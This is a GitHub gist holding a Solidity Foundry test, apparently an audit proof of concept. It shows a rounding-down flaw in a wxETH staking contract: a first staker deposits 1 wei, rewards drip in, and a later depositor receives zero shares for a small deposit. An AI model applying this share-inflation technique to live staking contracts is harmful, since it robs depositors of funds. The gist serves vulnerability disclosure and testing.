Skip to content

Instantly share code, notes, and snippets.

@carlitox477
Last active May 15, 2023 05:33
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save carlitox477/a5bd6345b4854da91fe5f80217a18aed to your computer and use it in GitHub Desktop.
Save carlitox477/a5bd6345b4854da91fe5f80217a18aed to your computer and use it in GitHub Desktop.
POC_wxETHUnhandleRoundingDown.t.sol
// SPDX-License-Identifier: Unlicense
pragma solidity >=0.8.0;
import {DSTest} from "ds-test/test.sol";
import {Utilities} from "./utils/Utilities.sol";
import {MockErc20} from "./mocks/MockERC20.sol";
import {console} from "./utils/Console.sol";
import {Vm} from "forge-std/Vm.sol";
import {ICurveFactory} from "src/interfaces/ICurveFactory.sol";
import {ICurvePool} from "src/interfaces/ICurvePool.sol";
import {xETH as xETH_contract} from "src/xETH.sol";
import {WrappedXETH} from "src/wxETH.sol";
contract POC_wxETHUnhandleRoundingDown is DSTest {
Vm internal immutable vm = Vm(HEVM_ADDRESS);
Utilities internal utils;
address payable[] internal users;
address public owner;
address public testUser;
xETH_contract internal xETH;
WrappedXETH internal wxETH;
uint256 TIME_PER_BLOCK = 12; // seconds
uint256 DRIP_AMOUNT = 70 ether;
uint256 DRIP_DURATION = 1 weeks; // 1 year
uint256 DRIP_RATE = DRIP_AMOUNT / (DRIP_DURATION / TIME_PER_BLOCK);
uint256 TIME_FOR_SECOND_DEPOSIT = 15 minutes;
function setUp() public {
utils = new Utilities();
users = utils.createUsers(5);
owner = users[0];
testUser = users[1];
vm.startPrank(owner);
xETH = new xETH_contract();
xETH.setAMO(owner);
xETH.mintShares(10000 ether);
wxETH = new WrappedXETH(address(xETH));
vm.stopPrank();
vm.label(address(xETH), "xETH");
vm.label(address(wxETH), "wxETH");
vm.label(owner, "owner");
vm.label(testUser, "test_user");
}
function testPOCUnfairRewardDistribution() public {
address ALICE = users[1];
address BOB = users[2];
//@audit notice that it is just 1 wei
uint256 ALICE_STAKE = 1;
// The owner configure drip and lock funds
vm.startPrank(owner);
{
wxETH.setDripRate(DRIP_RATE);
xETH.approve(address(wxETH), DRIP_AMOUNT);
wxETH.addLockedFunds(DRIP_AMOUNT);
wxETH.startDrip();
assertTrue(wxETH.dripEnabled());
}
vm.stopPrank();
{
// Owner funds Alice
vm.prank(owner);
xETH.transfer(ALICE, ALICE_STAKE);
// Alice now stakes her xETH
vm.startPrank(ALICE);
{
xETH.approve(address(wxETH), ALICE_STAKE);
wxETH.stake(ALICE_STAKE);
}
vm.stopPrank();
}
// Some blocks pass
vm.roll(block.number + TIME_FOR_SECOND_DEPOSIT / TIME_PER_BLOCK);
wxETH.accrueDrip();
// console.log("Exchange rate: %s", wxETH.exchangeRate()/1e18);
// if xETHAmount * BASE_UNIT < wxETH.exchangeRate() then deposit is zero
// if xETHAmount < wxETH.exchangeRate()/BASE_UNIT then deposit is zero
uint256 minAmountToDeposit = wxETH.exchangeRate()/1e18;
console.log("Min amount to deposit to get a single share: %d wei",wxETH.exchangeRate()/1e18);
{
// Bob tries to deposit 50 xETH
uint256 amountToDeposit = minAmountToDeposit - 1;
vm.prank(owner);
xETH.transfer(BOB, amountToDeposit);
// Bob now stakes his xETH
vm.startPrank(BOB);
{
console.log("Bob xETH before staking: %d", xETH.balanceOf(BOB));
xETH.approve(address(wxETH), amountToDeposit);
wxETH.stake(amountToDeposit);
// Bob balance now is zero
console.log("Bob wxETH after staking balance",wxETH.balanceOf(BOB));
// wxETH.unstake(wxETH.balanceOf(BOB));
// console.log("Bob xETH after unstaking: %d wei", xETH.balanceOf(BOB));
}
vm.stopPrank();
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment